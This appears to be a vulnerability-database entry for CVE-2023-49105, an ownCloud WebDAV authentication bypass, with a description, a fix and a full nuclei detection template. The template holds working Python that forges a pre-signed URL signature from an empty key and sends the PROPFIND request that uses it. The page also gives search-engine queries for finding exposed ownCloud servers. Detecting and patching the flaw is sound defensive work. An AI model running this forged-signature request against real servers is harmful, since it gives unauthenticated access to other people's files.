Browse / CVEs / CVE-2023-49105
CVE-2023-49105· owncloud / owncloud· CWE-287
OwnCloud - WebDAV API Authentication Bypass
Exploited in the wild. Listed by CISA on 2026-08-27; known to be used by ransomware.
An issue was discovered in ownCloud owncloud/core before 10.13.1. An attacker can access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. This occurs because pre-signed URLs can be accepted even when no signing-key is configured for the owner of the files. The earliest affected version is 10.6.0.
Impact
Attackers can access, modify, or delete any files without authentication, leading to data breach and integrity issues.
Fix
Upgrade OwnCloud to version 10.13.1 or later that properly validates signing keys and authentication in the WebDAV API.
How to confirm it
Send: PROPFIND {{code_response}}
Positive when: status_code == 207 and contains(body, 'owncloud.org') OR contains "User unknown" and "Sabre" and "Exception" and "NotAuthenticated"Run it with nuclei: nuclei -id CVE-2023-49105 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-49105
info:
name: OwnCloud - WebDAV API Authentication Bypass
author: ChristianPoeschl,FlorianDewald,usdAG
severity: critical
description: |
An issue was discovered in ownCloud owncloud/core before 10.13.1. An attacker can access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. This occurs because pre-signed URLs can be accepted even when no signing-key is configured for the owner of the files. The earliest affected version is 10.6.0.
remediation: |
Upgrade OwnCloud to version 10.13.1 or later that properly validates signing keys and authentication in the WebDAV API.
impact: |
Attackers can access, modify, or delete any files without authentication, leading to data breach and integrity issues.
reference:
- https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/
- https://github.com/0xfed/ownedcloud
- https://owncloud.org/security
- https://github.com/ambionics/owncloud-exploits
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.4319
epss-percentile: 0.98735
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: owncloud
product: owncloud
shodan-query:
- title:"owncloud"
- http.title:"owncloud"
fofa-query: title="owncloud"
google-query: intitle:"owncloud"
tags: cve,cve2023,code,owncloud,auth-bypass,vuln,vkev,kev
variables:
username: admin
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
# build signature for presigned urls
import base64, hashlib, datetime, os
from urllib.parse import urlencode
username = os.getenv('username')
base_url = os.getenv('BaseURL')
dav_url = f'{base_url}/remote.php/dav/files/{username}'
oc_date = datetime.datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')
data = {
'OC-Expires': '991200',
'OC-Verb': 'PROPFIND',
'OC-Credential': username,
'OC-Date': oc_date
}
sig_url = f'{dav_url}?{urlencode(data)}'
# derive signature from empty sign key
dk = hashlib.pbkdf2_hmac('sha512', sig_url.encode(), b'', 10000, dklen=32)
final_url = f'/remote.php/dav/files/{username}?{urlencode(data)}&OC-Signature={dk.hex()}'
#final_url = f'{sig_url}&OC-Signature={dk.hex()}'
print(final_url)
http:
- raw:
- |
PROPFIND {{code_response}} HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
Authorization: Basic {{base64('{{username}}')}}
matchers-condition: or
matchers:
- type: dsl
name: bypass-correct-user
dsl:
- status_code == 207
- contains(body, 'owncloud.org')
condition: and
- type: word
name: bypass-wrong-user
part: body
words:
- User unknown
- Sabre
- Exception
- NotAuthenticated
condition: and
extractors:
- type: dsl
dsl:
- '"Username => "+ username'References
- https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/
- https://github.com/0xfed/ownedcloud
- https://owncloud.org/security
- https://github.com/ambionics/owncloud-exploits
- https://github.com/nomi-sec/PoC-in-GitHub
Use this check only on systems you are authorised to test. Where the data comes from